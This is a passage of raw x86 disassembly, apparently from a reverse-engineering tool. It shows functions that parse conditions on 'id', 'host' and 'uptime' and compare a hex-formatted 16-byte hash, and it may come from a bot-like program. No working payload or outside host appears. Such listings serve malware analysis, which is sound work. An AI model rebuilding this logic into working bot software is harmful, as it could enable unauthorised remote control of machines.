mov ecx, offset dword_447158
call sub_401591
sub_412C10 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_412CB0: ; CODE XREF: ___:loc_40100Aj
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_43994E
push eax
mov large fs:0, esp
sub esp, 90h
add ecx, 4
push ebp
push esi
mov esi, [esp+0A8h]
lea ebp, [esi+7Eh]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_412FD6
push ebx
push edi
push offset asc_443600 ; " "
lea eax, [esp+44h]
push 1
push eax
mov ecx, esi
call sub_4016AE
push offset asc_443600 ; " "
lea ecx, [esp+2Ch]
push 2
push ecx
mov ecx, esi
mov dword ptr [esp+0B4h], 0
call sub_4016AE
push offset asc_443600 ; " "
lea edx, [esp+14h]
push 3
push edx
mov ecx, esi
mov byte ptr [esp+0B4h], 1
call sub_4016AE
push offset asc_443600 ; " "
lea eax, [esp+74h]
push 0
push eax
mov ecx, esi
mov byte ptr [esp+0B4h], 2
call sub_4016AE
mov edi, eax
lea ecx, [esp+10h]
mov byte ptr [esp+0A8h], 3
call sub_4013D9
lea ecx, [esp+28h]
mov ebx, eax
call sub_4013D9
lea ecx, [esp+40h]
add ebx, eax
call sub_4013D9
mov ecx, edi
add ebx, eax
call sub_4013D9
lea ecx, [esp+70h]
lea edi, [ebx+eax+4]
mov byte ptr [esp+0A8h], 2
call sub_401226
lea ecx, [esp+58h]
push edi
push ecx
mov ecx, esi
call sub_401E2E
push offset asc_443600 ; " "
lea edx, [esp+8Ch]
push 4
push edx
mov ecx, esi
mov byte ptr [esp+0B4h], 4
call sub_4016AE
lea ecx, [esp+70h]
push 1
mov bl, 5
push ecx
mov ecx, eax
mov [esp+0B0h], bl
call sub_401E2E
push eax
mov ecx, ebp
mov byte ptr [esp+0ACh], 6
call sub_40200E
lea ecx, [esp+70h]
mov [esp+0A8h], bl
call sub_401226
mov byte ptr [esp+0A8h], 4
lea ecx, [esp+88h]
call sub_401226
lea edx, [esp+58h]
mov ecx, esi
push edx
call sub_40200E
push offset asc_443D40 ; "!="
lea ecx, [esp+2Ch]
call sub_4012EE
test eax, eax
jnz short loc_412E35
xor edi, edi
loc_412E35: ; CODE XREF: ___:00412E31j
push offset asc_443D3C ; "=="
lea ecx, [esp+2Ch]
call sub_4012EE
test eax, eax
jnz short loc_412E4C
mov edi, 1
loc_412E4C: ; CODE XREF: ___:00412E45j
push offset asc_443D38 ; ">"
lea ecx, [esp+2Ch]
call sub_4012EE
test eax, eax
jnz short loc_412E63
mov edi, 2
loc_412E63: ; CODE XREF: ___:00412E5Cj
push offset asc_443D34 ; "<"
lea ecx, [esp+2Ch]
call sub_4012EE
test eax, eax
jnz short loc_412E7A
mov edi, 3
loc_412E7A: ; CODE XREF: ___:00412E73j
push offset aId ; "id"
lea ecx, [esp+44h]
call sub_4012EE
test eax, eax
jnz short loc_412ED4
test edi, edi
jnz short loc_412EAA
lea ecx, [esp+10h]
call sub_4017E4
push eax
mov ecx, offset word_44759A
call sub_4012EE
test eax, eax
jz short loc_412ED4
jmp short loc_412EC7
; ---------------------------------------------------------------------------
loc_412EAA: ; CODE XREF: ___:00412E8Ej
cmp edi, 1
jnz short loc_412ED4
lea ecx, [esp+10h]
call sub_4017E4
push eax
mov ecx, offset word_44759A
call sub_4012EE
test eax, eax
jnz short loc_412ED4
loc_412EC7: ; CODE XREF: ___:00412EA8j
push 0
push esi
mov ecx, offset byte_4472B7
call sub_401A32
loc_412ED4: ; CODE XREF: ___:00412E8Aj
; ___:00412EA6j ...
push offset aHost ; "host"
lea ecx, [esp+44h]
call sub_4012EE
test eax, eax
jnz short loc_412F27
test edi, edi
jnz short loc_412F08
lea ecx, [esp+10h]
call sub_4017E4
push eax
mov ecx, offset byte_4D60DD
call sub_4013E3
test eax, eax
jnz loc_412F89
jmp short loc_412F7C
; ---------------------------------------------------------------------------
loc_412F08: ; CODE XREF: ___:00412EE8j
cmp edi, 1
jnz short loc_412F89
lea ecx, [esp+10h]
call sub_4017E4
push eax
mov ecx, offset byte_4D60DD
call sub_4013E3
test eax, eax
jz short loc_412F89
jmp short loc_412F7C
; ---------------------------------------------------------------------------
loc_412F27: ; CODE XREF: ___:00412EE4j
push offset aUptime ; "uptime"
lea ecx, [esp+44h]
call sub_4012EE
test eax, eax
jnz short loc_412F89
lea ecx, [esp+10h]
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
mov ebx, eax
call sub_401654
test edi, edi
jnz short loc_412F5D
cmp eax, ebx
jz short loc_412F89
jmp short loc_412F7C
; ---------------------------------------------------------------------------
loc_412F5D: ; CODE XREF: ___:00412F55j
cmp edi, 1
jnz short loc_412F68
cmp eax, ebx
jnz short loc_412F89
jmp short loc_412F7C
; ---------------------------------------------------------------------------
loc_412F68: ; CODE XREF: ___:00412F60j
cmp edi, 2
jnz short loc_412F73
cmp eax, ebx
jle short loc_412F89
jmp short loc_412F7C
; ---------------------------------------------------------------------------
loc_412F73: ; CODE XREF: ___:00412F6Bj
cmp edi, 3
jnz short loc_412F89
cmp eax, ebx
jge short loc_412F89
loc_412F7C: ; CODE XREF: ___:00412F06j
; ___:00412F25j ...
push 0
push esi
mov ecx, offset byte_4472B7
call sub_401A32
loc_412F89: ; CODE XREF: ___:00412F00j
; ___:00412F0Bj ...
lea ecx, [esp+58h]
mov byte ptr [esp+0A8h], 2
call sub_401226
lea ecx, [esp+10h]
mov byte ptr [esp+0A8h], 1
call sub_401226
lea ecx, [esp+28h]
mov byte ptr [esp+0A8h], 0
call sub_401226
lea ecx, [esp+40h]
mov dword ptr [esp+0A8h], 0FFFFFFFFh
call sub_401226
pop edi
mov al, 1
pop ebx
jmp short loc_412FD8
; ---------------------------------------------------------------------------
loc_412FD6: ; CODE XREF: ___:00412CE9j
mov al, 1
loc_412FD8: ; CODE XREF: ___:00412FD4j
mov ecx, [esp+98h]
pop esi
pop ebp
mov large fs:0, ecx
add esp, 9Ch
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 0E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4130E0 proc near ; CODE XREF: sub_401654j
call near ptr 27F0769h
nop
mov ecx, eax
mov eax, 10624DD3h
mul ecx
mov ecx, edx
mov eax, 0C22E4507h
shr ecx, 6
imul ecx
mov eax, edx
add eax, ecx
sar eax, 10h
mov edx, eax
shr edx, 1Fh
add eax, edx
retn
sub_4130E0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_413120 proc near ; CODE XREF: sub_401FFAj
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_413120
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
mov esi, ecx
push edi
mov [esp+20h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+20h+var_4], 0
call sub_401749
lea edi, [esi+60h]
lea eax, [esp+20h+var_12]
push eax
mov ecx, edi
mov byte ptr [esp+24h+var_4], 1
call sub_401F05
sub_413120 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+0Fh]
lea ebx, [esi+6Ch]
push ecx
mov ecx, ebx
mov byte ptr [esp+20h], 2
call sub_401843
; ---------------------------------------------------------------------------
mov ecx, edi
mov byte ptr [esp+1Ch], 3
mov dword ptr [esi], offset off_43E044
call sub_401924
mov ecx, ebx
call sub_401C62
mov ecx, [esp+14h]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4131F0 proc near ; CODE XREF: sub_401CF8j ___:00401E10j
push esi
mov esi, ecx
call sub_401C8F
sub_4131F0 endp
; ---------------------------------------------------------------------------
test byte ptr [esp+8], 1
jz short loc_413208
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_413208: ; CODE XREF: ___:004131FDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_413220 proc near ; CODE XREF: sub_401C8Fj
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_413220
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov [esp+1Ch+var_10], esi
mov dword ptr [esi], offset off_43E044
lea edi, [esi+60h]
mov [esp+1Ch+var_4], 3
mov ecx, edi
call sub_401924
lea ebx, [esi+6Ch]
mov ecx, ebx
call sub_401C62
mov ecx, ebx
mov byte ptr [esp+1Ch+var_4], 2
call sub_4014B5
sub_413220 endp
; ---------------------------------------------------------------------------
mov ecx, edi
mov byte ptr [esp+18h], 1
call sub_4011B8
; ---------------------------------------------------------------------------
lea ecx, [esi+32h]
mov byte ptr [esp+18h], 0
call sub_401023
lea ecx, [esi+4]
mov dword ptr [esp+18h], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+10h]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4132E0 proc near ; CODE XREF: sub_4019F6j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4132E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 14h
push 15h
push 0Fh
push 7
push 0Fh
lea eax, [esp+58h+var_3C]
push 0Ch
mov esi, ecx
push eax
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_4017E4
lea ecx, [esi+32h]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
sub_4132E0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 14h
push 5
lea edx, [esp+28h]
push 13h
push edx
call sub_4019B5
add esp, 14h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_4017E4
add esi, 4
push eax
push esi
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4133D0 proc near ; CODE XREF: sub_401CD0j
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
push 0FFFFFFFFh
push offset SEH_4133D0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0
call sub_4017E4
test eax, eax
jz short loc_413477
lea ecx, [esp+18h+var_14]
call sub_402252
add esi, 6Ch
lea eax, [esp+18h+var_10]
push eax
mov ecx, esi
call sub_4018F2
mov ecx, [eax]
lea edx, [esp+18h+var_10]
mov [esp+18h+var_14], ecx
push edx
mov ecx, esi
call sub_40114A
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401339
test al, al
jz short loc_413477
loc_413438: ; CODE XREF: sub_4133D0+A5j
lea eax, [esp+18h+arg_0]
lea ecx, [esp+18h+var_14]
push eax
call sub_40135C
mov ecx, [eax]
add ecx, 19h
call sub_401B72
test eax, eax
lea ecx, [esp+18h+var_14]
jz short loc_41349C
call sub_40118B
lea ecx, [esp+18h+var_10]
push ecx
mov ecx, esi
call sub_40114A
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401339
test al, al
jnz short loc_413438
loc_413477: ; CODE XREF: sub_4133D0+2Ej
; sub_4133D0+66j
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
xor eax, eax
pop esi
mov ecx, [esp+14h+var_C]
mov large fs:0, ecx
add esp, 14h
retn 18h
; ---------------------------------------------------------------------------
loc_41349C: ; CODE XREF: sub_4133D0+86j
call sub_40135C
mov esi, [eax]
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+18h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn 18h
sub_4133D0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413510 proc near ; CODE XREF: sub_402112j
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
push 0FFFFFFFFh
push offset SEH_413510
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push ebp
push esi
push edi
mov ebx, ecx
lea ecx, [esp+28h+arg_0]
mov [esp+28h+var_4], 0
call sub_4017E4
test eax, eax
jz loc_4135E3
lea ecx, [esp+28h+var_18]
call sub_401037
lea ebp, [ebx+60h]
lea eax, [esp+28h+var_14]
push eax
mov ecx, ebp
call sub_401983
mov ecx, [eax]
lea edx, [esp+28h+var_14]
mov [esp+28h+var_18], ecx
push edx
mov ecx, ebp
call sub_402234
push eax
lea ecx, [esp+2Ch+var_18]
call sub_401AD7
test al, al
jz short loc_4135E3
loc_41357F: ; CODE XREF: sub_413510+D1j
lea ecx, [esp+28h+var_18]
call sub_4011D1
mov edi, [eax]
sub esp, 18h
lea eax, [esp+40h+arg_0]
mov ecx, esp
mov [esp+40h+var_10], esp
push eax
call sub_4014C9
mov ecx, ebx
call sub_401CD0
mov esi, eax
test esi, esi
jz short loc_4135AC
mov edi, [esi]
loc_4135AC: ; CODE XREF: sub_413510+98j
lea ecx, [esp+28h+arg_0]
push ecx
mov ecx, edi
call sub_401B72
test eax, eax
jz short loc_41360B
test esi, esi
jnz short loc_41360B
lea ecx, [esp+28h+var_18]
call sub_4018B6
lea edx, [esp+28h+var_14]
mov ecx, ebp
push edx
call sub_402234
push eax
lea ecx, [esp+2Ch+var_18]
call sub_401AD7
test al, al
jnz short loc_41357F
loc_4135E3: ; CODE XREF: sub_413510+31j
; sub_413510+6Dj
lea ecx, [esp+28h+arg_0]
mov [esp+28h+var_4], 0FFFFFFFFh
call sub_401226
xor eax, eax
loc_4135F6: ; CODE XREF: sub_413510+10Ej
mov ecx, [esp+28h+var_C]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 18h
retn 18h
; ---------------------------------------------------------------------------
loc_41360B: ; CODE XREF: sub_413510+AAj
; sub_413510+AEj
lea ecx, [esp+28h+arg_0]
mov [esp+28h+var_4], 0FFFFFFFFh
call sub_401226
mov eax, edi
jmp short loc_4135F6
sub_413510 endp
; ---------------------------------------------------------------------------
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_413670 proc near ; CODE XREF: sub_401F46j
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = byte ptr 1Ch
push 0FFFFFFFFh
push offset SEH_413670
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
lea ecx, [esp+14h+arg_0]
mov [esp+14h+var_4], 1
call sub_4017E4
test eax, eax
jz short loc_413714
lea ecx, [esp+14h+var_14]
call sub_401E1F
lea eax, [esp+14h+var_10]
lea ecx, [esp+14h+arg_18]
push eax
call sub_4012E9
mov ecx, [eax]
lea edx, [esp+14h+var_10]
mov [esp+14h+var_14], ecx
push edx
lea ecx, [esp+18h+arg_18]
call sub_401D89
push eax
lea ecx, [esp+18h+var_14]
call sub_401D5C
test al, al
jz short loc_413714
loc_4136D6: ; CODE XREF: sub_413670+A2j
lea eax, [esp+14h+arg_0]
lea ecx, [esp+14h+var_14]
push eax
call sub_401FA5
mov ecx, [eax]
call sub_401B72
test eax, eax
jz short loc_413746
lea ecx, [esp+14h+var_14]
call sub_4020A4
lea ecx, [esp+14h+var_10]
push ecx
lea ecx, [esp+18h+arg_18]
call sub_401D89
push eax
lea ecx, [esp+18h+var_14]
call sub_401D5C
test al, al
jnz short loc_4136D6
loc_413714: ; CODE XREF: sub_413670+2Bj
; sub_413670+64j
lea ecx, [esp+14h+arg_0]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
lea ecx, [esp+14h+arg_18]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401578
; ---------------------------------------------------------------------------
xor eax, eax
mov ecx, [esp+14h+var_C]
mov large fs:0, ecx
add esp, 14h
retn 24h
; ---------------------------------------------------------------------------
loc_413746: ; CODE XREF: sub_413670+7Dj
push esi
lea ecx, [esp+18h+var_14]
call sub_401FA5
mov esi, [eax]
lea ecx, [esp+18h+arg_0]
mov byte ptr [esp+18h+var_4], 0
call sub_401226
lea ecx, [esp+18h+arg_18]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401578
sub_413670 endp
; ---------------------------------------------------------------------------
mov ecx, [esp+0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn 24h
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4137E0 proc near ; CODE XREF: sub_4011DBj
var_A4 = byte ptr -0A4h
var_8C = byte ptr -8Ch
var_74 = byte ptr -74h
var_64 = byte ptr -64h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = dword ptr 1Ch
push 0FFFFFFFFh
push offset SEH_4137E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 98h
push esi
xor esi, esi
lea ecx, [esp+0A8h+arg_0]
mov [esp+0A8h+var_4], esi
call sub_4017E4
test eax, eax
jz loc_413913
lea eax, [esp+0A8h+var_64]
push eax
call sub_401A55
add esp, 4
lea ecx, [esp+0A8h+var_A4]
call sub_401424
push offset byte_446F70
lea ecx, [esp+0ACh+var_A4]
mov byte ptr [esp+0ACh+var_4], 1
call sub_4015D7
lea ecx, [esp+0A8h+arg_0]
call sub_4013D9
push eax
lea ecx, [esp+0ACh+arg_0]
call sub_4014D3
lea ecx, [esp+0ACh+var_64]
push eax
push ecx
call sub_401C12
lea edx, [esp+0B4h+var_64]
lea eax, [esp+0B4h+var_74]
push edx
push eax
call sub_402158
add esp, 14h
loc_41387B: ; CODE XREF: sub_4137E0+E8j
lea ecx, [esp+0A8h+var_8C]
call sub_401424
xor ecx, ecx
lea edx, [esp+0A8h+var_8C]
mov cl, [esp+esi+0A8h+var_74]
mov byte ptr [esp+0A8h+var_4], 2
push ecx
push offset a2_2x ; "%2.2X"
push edx
call sub_40102D
add esp, 0Ch
lea eax, [esp+0A8h+var_8C]
lea ecx, [esp+0A8h+var_A4]
push eax
call sub_4016BD
lea ecx, [esp+0A8h+var_8C]
mov byte ptr [esp+0A8h+var_4], 1
call sub_401226
inc esi
cmp esi, 10h
jl short loc_41387B
mov edx, [esp+0A8h+arg_18]
lea ecx, [esp+0A8h+var_A4]
push ecx
lea ecx, [edx+15h]
call sub_401B72
test eax, eax
mov byte ptr [esp+0A8h+var_4], 0
lea ecx, [esp+0A8h+var_A4]
jnz short loc_41390E
call sub_401226
lea ecx, [esp+0A8h+arg_0]
mov [esp+0A8h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp short loc_41392C
; ---------------------------------------------------------------------------
loc_41390E: ; CODE XREF: sub_4137E0+10Cj
call sub_401226
loc_413913: ; CODE XREF: sub_4137E0+33j
lea ecx, [esp+0A8h+arg_0]
mov [esp+0A8h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
loc_41392C: ; CODE XREF: sub_4137E0+12Cj
mov ecx, [esp+0A8h+var_C]
pop esi
mov large fs:0, ecx
add esp, 0A4h
retn 1Ch
sub_4137E0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4139B0 proc near ; CODE XREF: sub_40191Fj
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = byte ptr 1Ch
push 0FFFFFFFFh
push offset SEH_4139B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
sub esp, 18h
lea eax, [esp+30h+arg_18]
mov ecx, esp
mov [esp+30h+var_14], esp
push eax
mov [esp+34h+var_4], 1
call sub_4014C9
mov ecx, esi
call sub_402112
test eax, eax
jz short loc_413A5E
sub esp, 0Ch
add eax, 54h
mov ecx, esp
mov [esp+24h+var_14], esp
push eax
call sub_40171C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+40h]
mov ecx, esp
mov [esp+40h+var_14], esp
push edx
mov [esp+44h+var_8], 2
call sub_4014C9
mov ecx, esi
mov [esp+40h+var_8], 1
call sub_401F46
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_413A5E
lea ecx, [esp+40h+var_24]
mov byte ptr [esp+40h+var_2C], 0
call sub_401226
lea ecx, [esp+40h+var_C]
mov [esp+40h+var_2C], 0FFFFFFFFh
call sub_401226
mov al, 1
mov ecx, [esp+40h+var_34]
mov large fs:0, ecx
pop esi
add esp, 14h
retn 30h
; ---------------------------------------------------------------------------
loc_413A5E: ; CODE XREF: sub_4139B0+3Fj
; sub_4139B0+79j
lea ecx, [esp+18h+arg_0]
mov byte ptr [esp+18h+var_4], 0
call sub_401226
lea ecx, [esp+18h+arg_18]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+18h+var_C]
xor al, al
mov large fs:0, ecx
pop esi
add esp, 14h
retn 30h
sub_4139B0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_413AE0: ; CODE XREF: ___:00401393j
push 0FFFFFFFFh
push offset loc_439B08
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+18h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_401861
mov edx, [esp+30h]
sub esp, 18h
mov ecx, esp
mov [esp+4Ch], esp
push edx
mov dword ptr [esp+44h], 0
call sub_401861
mov ecx, esi
mov dword ptr [esp+40h], 0FFFFFFFFh
call sub_40191F
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413B70 proc near ; CODE XREF: sub_401181j
var_3C = byte ptr -3Ch
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_4 = byte ptr 8
arg_18 = dword ptr 1Ch
arg_1C = dword ptr 20h
push 0FFFFFFFFh
push offset SEH_413B70
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 34h
push ebx
push ebp
mov ebp, [esp+48h+arg_18]
xor ebx, ebx
cmp ebp, ebx
mov [esp+48h+var_4], ebx
jz loc_413CB9
lea ecx, [esp+48h+arg_0]
call sub_4017E4
test eax, eax
jz loc_413CB9
push esi
push edi
push offset asc_443C94 ; ":"
lea eax, [esp+54h+var_3C]
push ebx
push eax
lea ecx, [esp+5Ch+arg_0]
xor esi, esi
call sub_4016AE
push offset byte_446F70
mov ecx, eax
mov byte ptr [esp+54h+var_4], 1
call sub_4012EE
lea ecx, [esp+50h+var_3C]
mov edi, eax
mov byte ptr [esp+50h+var_4], bl
call sub_401226
cmp edi, ebx
jz loc_413C93
add ebp, 54h
loc_413BF0: ; CODE XREF: sub_413B70+11Dj
push 15h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov dword ptr [esp+4Ch+var_3C], eax
cmp eax, ebx
mov byte ptr [esp+4Ch], 2
jz short loc_413C10
mov ecx, eax
call sub_401F2D
jmp short loc_413C12
; ---------------------------------------------------------------------------
loc_413C10: ; CODE XREF: sub_413B70+95j
xor eax, eax
loc_413C12: ; CODE XREF: sub_413B70+9Ej
push offset asc_443C94 ; ":"
lea ecx, [esp+50h+var_20]
push esi
push ecx
lea ecx, [esp+58h+arg_4]
mov [esp+58h], bl
mov [esp+58h+arg_1C], eax
call sub_4016AE
mov ecx, [esp+4Ch+arg_1C]
push eax
mov byte ptr [esp+50h], 3
call sub_40200E
lea ecx, [esp+4Ch+var_20]
mov [esp+4Ch], bl
call sub_401226
lea edx, [esp+4Ch+arg_1C]
mov ecx, ebp
push edx
call sub_40147E
; ---------------------------------------------------------------------------
inc esi
push offset asc_443C94 ; ":"
lea eax, [esp+54h+var_3C]
push esi
push eax
lea ecx, [esp+5Ch+arg_0]
call sub_4016AE
push offset byte_446F70
mov ecx, eax
mov byte ptr [esp+54h+var_4], 1
call sub_4012EE
lea ecx, [esp+50h+var_3C]
mov edi, eax
mov byte ptr [esp+50h+var_4], bl
call sub_401226
cmp edi, ebx
jnz loc_413BF0
loc_413C93: ; CODE XREF: sub_413B70+77j
lea ecx, [esp+50h+arg_0]
mov [esp+50h+var_4], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
pop ebp
pop ebx
mov ecx, [esp+40h+var_C]
mov large fs:0, ecx
add esp, 40h
retn 1Ch
; ---------------------------------------------------------------------------
loc_413CB9: ; CODE XREF: sub_413B70+26j
; sub_413B70+37j
lea ecx, [esp+48h+arg_0]
mov [esp+48h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+48h+var_C]
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 40h
retn 1Ch
sub_413B70 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413D40 proc near ; CODE XREF: sub_401F2Dj
push esi
mov esi, ecx
call sub_401424
mov eax, esi
pop esi
retn
sub_413D40 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_413D60: ; CODE XREF: ___:004010F0j
mov eax, [esp+8]
mov edx, [esp+4]
push esi
push eax
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+28h], esp
push edx
call sub_401861
mov ecx, esi
call sub_401181
pop esi
retn 8
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413DA0 proc near ; CODE XREF: sub_40189Dj
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_14 = byte ptr 18h
arg_18 = byte ptr 1Ch
arg_2C = byte ptr 30h
arg_30 = byte ptr 34h
arg_44 = byte ptr 48h
arg_48 = byte ptr 4Ch
arg_5C = byte ptr 60h
arg_60 = byte ptr 64h
push 0FFFFFFFFh
push offset SEH_413DA0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push ebp
push esi
push edi
mov ebp, ecx
sub esp, 18h
lea eax, [esp+3Ch+arg_30]
mov ecx, esp
mov [esp+3Ch+var_14], esp
push eax
mov [esp+40h+var_4], 4
call sub_4014C9
mov ecx, ebp
call sub_401CD0
xor ebx, ebx
cmp eax, ebx
jnz loc_413F8E
sub esp, 18h
lea edx, [esp+3Ch+arg_0]
mov ecx, esp
mov [esp+3Ch+var_14], esp
push edx
call sub_4014C9
mov ecx, ebp
call sub_402112
mov edi, eax
cmp edi, ebx
jz loc_413F8E
push edi
lea eax, [esp+28h+arg_18]
sub esp, 18h
mov ecx, esp
mov [esp+40h+var_14], esp
push eax
call sub_4014C9
mov ecx, ebp
call sub_4011DB
cmp al, bl
jz loc_413F8E
push offset byte_446F70
lea ecx, [esp+28h+arg_48]
call sub_4012EE
test eax, eax
jz short loc_413E87
lea ecx, [edi+2Ah]
call sub_4017E4
lea ecx, [esp+24h+arg_48]
mov esi, eax
call sub_4017E4
loc_413E56: ; CODE XREF: sub_413DA0+D4j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_413E7A
cmp cl, bl
jz short loc_413E76
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_413E7A
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_413E56
loc_413E76: ; CODE XREF: sub_413DA0+C0j
xor eax, eax
jmp short loc_413E7F
; ---------------------------------------------------------------------------
loc_413E7A: ; CODE XREF: sub_413DA0+BCj
; sub_413DA0+CAj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_413E7F: ; CODE XREF: sub_413DA0+D8j
cmp eax, ebx
jnz loc_413F8E
loc_413E87: ; CODE XREF: sub_413DA0+A1j
push offset byte_446F70
lea ecx, [esp+28h+arg_60]
call sub_4012EE
test eax, eax
jz short loc_413EE3
